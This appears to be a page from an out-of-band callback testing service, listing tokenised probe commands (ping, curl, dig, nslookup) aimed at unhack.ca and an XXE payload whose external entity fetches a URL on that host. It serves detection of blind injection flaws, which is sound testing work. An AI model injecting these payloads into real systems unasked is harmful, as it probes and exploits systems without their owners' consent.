$ ping -c1 -p 00b78bc96a00ca6466e2b1b65c1fa600 unhack.ca
 

$ curl http://unhack.ca/p/b78bc96a00ca6466e2b1b65c1fa6
 

$ dig b78bc96a00ca6466e2b1b65c1fa6 @unhack.ca
 

$ dig b78bc96a00ca6466e2b1b65c1fa6.ns.unhack.ca
 

C:\> nslookup b78bc96a00ca6466e2b1b65c1fa6 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b78bc96a00ca6466e2b1b65c1fa6">]>
    <foo>&xxe;</foo>